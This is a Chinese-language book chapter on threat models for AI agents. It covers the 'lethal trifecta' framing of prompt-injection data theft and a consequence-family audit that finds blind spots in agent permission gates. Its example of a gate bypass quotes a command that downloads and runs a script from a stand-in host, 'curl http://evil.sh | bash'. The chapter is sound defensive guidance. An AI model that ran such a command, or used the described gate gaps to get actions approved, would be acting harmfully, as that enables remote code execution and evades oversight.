第 19 章 AI AgentAgentic Patterns安全

第 19 章 威胁模型:先看风险长什么样,再谈防御

安全不是堆防御,是先看清风险

第四部分把 Agent 弄可靠了。从这一章开始,进入第五部分"让它安全"。

安全这件事有个反直觉的开头:在写任何防御代码之前,先想清楚攻击面长什么样。 很多团队一上来就堆提示词护栏、加审批流程,结果防线千疮百孔还不自知。原因很简单:你不知道要防什么,就不知道防线该围住哪。

这一章讲两个模式,正好是"先看风险"的两步:

  1. Lethal Trifecta Threat Model(致命三要素威胁模型):用三个能力的交集框出提示注入的攻击面。
  2. Consequence-Family Coverage Audit(后果族覆盖审计):枚举"行为能造成什么后果",审计策略到底盖住了哪几类。

模式一:致命三要素威胁模型(Lethal Trifecta Threat Model)

问题

把 Agent 的三个能力放在一起:

  1. 能访问私有数据
  2. 会接触不可信内容
  3. 能对外通信

这三者组合起来,就给提示注入攻击者开了一条偷敏感信息的直路。一旦"好指令"和"恶意指令"出现在同一个上下文窗口里,LLM 根本不可靠地区分它们。 这不是提示词写得不好,是模型的固有局限。

方案

采用"三要素威胁模型":

  • 审计 Agent 能调用的每个工具,对照这三个能力分类。
  • 保证任何执行路径上都至少缺一个圆(三要素凑不齐,攻击链就断了)。可选手段:
    • 去掉外网访问(没有出口,数据出不去)。
    • 拒绝直接读文件/数据库(没有私有数据可偷)。
    • 净化或隔离不可信输入(没有敌意指令进上下文)。
  • 在编排时强制这一点,而不是靠脆弱的提示词护栏。
# 伪策略
if tool.can_externally_communicate and \
   tool.accesses_private_data and \
   input_source == "untrusted":
       raise SecurityError("检测到致命三要素")

这个模型的精髓是用结构消灭一整类攻击,而不是跟提示注入玩猫鼠游戏。三要素缺一个,攻击者手里就少一张牌。

证据

  • 证据等级:最佳实践best-practice),来自 Simon Willison(2025)。
  • 学术支撑:Beurer-Kellner 等人(2025)的《Design Patterns for Securing LLM Agents against Prompt Injections》。
  • 术语澄清:这里讲的是 Simon Willison 的提示注入威胁模型(私有数据 + 不可信内容 + 对外通信),和 AI 安全文献里同名不同义的"lethal trifecta"(高级能力 + Agent 行为 + 情境意识)不是一回事。

怎么用

  • 维护每个工具的机器可读能力矩阵(能对外通信吗?访问私有数据吗?)。
  • 在 Agent 运行器里加执行前策略检查
  • 失败关闭(fail closed):能力元数据缺失时,把工具当高风险处理。

取舍

  • 好处:心智模型简单;消灭一整类攻击。
  • 代价:限制"全能" Agent(三样都占的工具被禁用);能力打标签要有纪律。

模式二:后果族覆盖审计(Consequence-Family Coverage Audit)

问题

一个 Agent 门禁有两半:执行点(enforcement point)决定放行/暂缓/拒绝,它确定、小、可穷举测试,人人都审它,因为它长得像安全;分类器(classifier)决定"被提议的这东西是什么类别",它通常是一串字符串列表。

而那个列表有一个能挺过审查的失败模式:它只描述了一类后果,对其余类别闭口不谈。

这个失败不是粗心。列表里的每一条都对。问题在于列表是从某一种"伤害"的想法内部写出来的,在这个框架里,缺失的类别根本看不见。

三个真实门禁,每个都审过、测过、对着真实工具目录验证过:

门禁管 列表盖住了 对什么闭口不谈
支付 API 出去(退款、取消、争议、删除) 进来(创建收款、搭支付页)
DFIR/EDR 查询工具 破坏(隔离、杀进程、擦除、卸载) 执行和外传
计费 API 资金移动 对外通信

第二个最说明问题。十四个标记,全是破坏动词。一个正确拦住了 Windows.Remediation.Quarantine 的门禁,却放过了这条"良性读取":

SELECT * FROM execve(argv=["bash","-c","curl http://evil.sh | bash"])

没人觉得在整片端点舰队上执行任意代码可以接受。但"运行一条命令"不破坏任何东西,所以没有破坏动词匹配上。

对着真实工具目录验证也抓不住这个。 你是拿一个自己写的"真相"给目录打分,而那个"真相"和列表来自同一个心智模型。标签和分类器互相认同,因为它们编码的是同一种"伤害"的想法。上面某个门禁对着从真实 API 拉出来的目录打了 62/62,跨六轮加固两次,期间"创建收款"一直是低风险。

方案

别重读列表。 重读列表只能确认列表本身,它没法暴露那个从来不在列表上的类别。

反过来:枚举一个动作可能造成后果的方式,然后逐个问"哪条规则盖住这个?" 空的答案就是发现。

后果族 这个动作… 容易漏掉的例子
破坏(Destruction) 删除或覆盖某物 purge_backups
价值出去(Value out) 把钱或资产移走 create_payout
价值进来(Value in) 收款,或搭起能收款的表面 create_payment_link
执行(Execution) 运行调用者提供的代码 execve(argv=…)
外传(Egress) 把数据移出系统 export_customers
对外通信(Outbound) 触达真实第三方 send_invoice_reminder
持续承诺(Standing commitment) 安排未来的自动行为 setup_auto_reminders
身份与访问(Identity & access) 改变谁能做什么 create_service_token
带爆炸半径的配置(Config w/ blast radius) 改变所有人的行为 update_dns_record

这个表是启发思考的提示,不是 schema,给你的领域加行。重点是有某个枚举可以对照检查,让一整类后果不能悄无声息地缺失。

每个后果族问三个问题:

  1. 哪条规则盖住它? 没有规则,说明这一类没人管。
  2. 有没有第二条通往同一结果的路径? 按住"发发票",却留着"为那张发票生成可扫描付款码"不按,等于没按。一条没按住的替代路线,对攻击者的价值比按住的那条还大。
  3. 调用者控制危险部分吗? 一个内部调用 shell 读磁盘用量的工具是"读"。一个运行调用者提供的命令的工具不是,不管名字多像。

证据

这个模式从三个手写门禁里总结出来,然后拿一个专门训练来分类准入决策的模型去测:理论是,如果这种盲目只是人类写作的产物,训练过的模型不会复现它。

它复现了。 在 8,989 个留出行上,分类器整体误放行率只有 0.74%,但错误分布不均:

后果族 风险行 放行数
执行 165 5.45%
外传 94 5.32%
持续承诺 110 1.82%
破坏、价值进、对外 1,761 0.00%

两个后果族的错误率是其余的大约十倍,而它的最大训练来源(38,419 行里的 17,713 行)就是专门为对抗这个失败建的。

随后七个模型跑相同行,包括 GPT-5 和 Claude Opus 5。策略写明自己规则的地方,每个前沿模型都到 0.00% 误放行;它们对明确策略是安全的,只是过度谨慎。有用的读法是:是策略的明确性在起作用,这和本模式从另一头说的其实是同一件事。

怎么用

把枚举当成测试跑,不是一次性审查。 真正超出范围的后果族,应该进显式允许列表,旁边写清理由。

# 每个后果族一个代表性动作。刻意不穷举:
# 价值在于加一个族很便宜,所以缺一个族是一个选择。
FAMILY_PROBES = {
    "destruction":         "delete_record",
    "value_out":           "issue_refund",
    "value_in":            "create_charge",
    "execution":           "run_script",
    "egress":              "export_customers",
    "outbound_comms":      "send_invoice",
    "standing_commitment": "enable_auto_reminders",
    "identity_access":     "disable_user",
}

def uncovered(classify, benign_probe):
    """返回会被自动放行的后果族。

    benign_probe 是一个*应该*畅通无阻的调用,不是可选的:
    一个什么都按住的策略报告不出缺口,但也什么都不告诉你,
    这正是本模式针对的"假的全清"。
    """
    if is_held(classify(benign_probe)):
        raise AssertionError(
            f"{benign_probe!r} 被按住了,这个策略按住一切,"
            "探针无法区分已覆盖和未覆盖的后果族。"
        )
    return [fam for fam, action in FAMILY_PROBES.items()
            if not is_held(classify(action))]

对着只匹配反转动词的分类器(上面第一个失败),这个函数会返回八个族里的六个。

取舍

  • 按"放行了什么"评判门禁,而不是按"挡住了什么"。 过度谨慎只花一次确认弹窗;一次漏过花掉的是你建这个门禁要防的东西。标记收紧不了又不开真实路径时,就保持宽,把产生的误报写下来。
  • 枚举本身也是个列表,继承同样的弱点,只是高一层的。它更稳健,只因为"后果族"比"工具名"更粗更少,缺一个更容易看见。
  • 过度按住是真成本。 一个绝对安全但什么都停的门禁,一天之内就会被关掉。所以要同时量过度按住率和误放行率。
  • 这不替代执行。 它审计的是执行的输入。

两个模式怎么选

场景 推荐模式
刚起步,想框出提示注入攻击面 致命三要素威胁模型
有门禁/策略了,想知道盖住没有 后果族覆盖审计
工具能花钱、跑码、移数据、发消息 后果族覆盖审计(跑枚举测试)

两个模式是威胁模型的两步三要素框出"攻击从哪来"(私有数据 + 不可信内容 + 对外通信的交集),后果族审计检查"防线盖住哪几类后果"(破坏、资金、执行、外传、对外通信、持续承诺……)。先有威胁模型,后面的控制流隔离、权限审批、凭据出口才有依据。

实践清单

  • 每个工具建能力矩阵:能对外通信?访问私有数据?输入来源可信?
  • 任何执行路径保证三要素至少缺一个圆,在编排时强制
  • 能力元数据缺失时失败关闭,当高风险处理
  • 别只审"挡住了什么",按"放行了什么"评判门禁
  • 用后果族枚举跑覆盖测试:破坏/价值进出/执行/外传/对外通信/持续承诺/身份/配置
  • 每个后果族问三问:哪条规则盖住?有第二条路径吗?调用者控制危险部分吗?
  • 每个族一个代表性探针,配一个良性探针防"假的全清"
  • 同时量误放行率和过度按住率,别把门禁逼到被关掉
  • 枚举当测试跑,纳入 CI,别当一次性审查

本章小结

  • 致命三要素:私有数据 + 不可信内容 + 对外通信,三缺一攻击链就断。
  • 后果族覆盖审计:按后果族枚举,问"哪条规则盖住",空答案就是发现。
  • 威胁模型是安全的地基:先看清攻击面,分层防御才立得住。

下一章讲控制流隔离:把"谁做决定"和"谁执行"分开。双 LLM 模式、工具能力分区、认证权威通道。

📑 Agent 模式实战:生产级 AI Agent 的工程模式

1 第 1 章 什么是 Agent 模式 2 第 2 章 规划-执行-观察:先想清楚,再动手 3 第 3 章 反思闭环:让 Agent 学会检查自己的作业 4 第 4 章 委派:让主 Agent 学会把活分出去 5 第 5 章 上下文预算治理:把 token 当成钱来管 6 第 6 章 上下文压缩与精选:装不下怎么办 7 第 7 章 上下文最小化:别让脏东西留在脑子里 8 第 8 章 记忆体系:让 Agent 记得住过去 9 第 9 章 学习沉淀:让 Agent 和团队一起变聪明 10 第 10 章 工具接口哲学:让 Agent 能用、好用、用得起 11 第 11 章 工具发现:让 Agent 在几百个工具里找到对的 12 第 12 章 执行环境:Agent 在哪动手、怎么动手 13 第 13 章 代码执行与沙箱:先写码,再跑码 14 第 14 章 结构化输出与契约:让 Agent 的输出能接住 15 第 15 章 验证循环:Agent 怎么检查自己的作业 16 第 16 章 评测基建:怎么系统地检验 Agent 17 第 17 章 可观测性:看见 Agent 在想什么、在干嘛 18 第 18 章 韧性工程:扛得住部分失效 19 第 19 章 威胁模型:先看风险长什么样,再谈防御 20 第 20 章 控制流隔离:把"谁做决定"和"谁执行"分开 21 第 21 章 权限与审批:谁有权干什么、谁点头 22 第 22 章 凭据与出口:Agent 手里的钥匙和门 23 第 23 章 多智能体信任:多个 Agent 之间怎么互信、怎么审计 24 第 24 章 反馈信号设计:给 Agent 的是信号,不是更大的提示词 25 第 25 章 评测驱动的改进:让 Agent 在真实使用和对抗测试里变强 26 第 26 章 强化学习:把反馈变成训练信号 27 第 27 章 复合式进化:让 Agent 系统越用越值钱 28 第 28 章 多智能体协调:让一群 Agent 一起干活不掉链子 29 第 29 章 模型路由:谁用哪个模型,怎么用得起 30 第 30 章 推理搜索结构:让 Agent 多想想,而不是一条道走到黑 31 第 31 章 控制谱系:从自动补全到完全自主的滑动条 32 第 32 章 团队与产品:把 Agent 变成团队资产,而不是个人玩具
← 返回本书大纲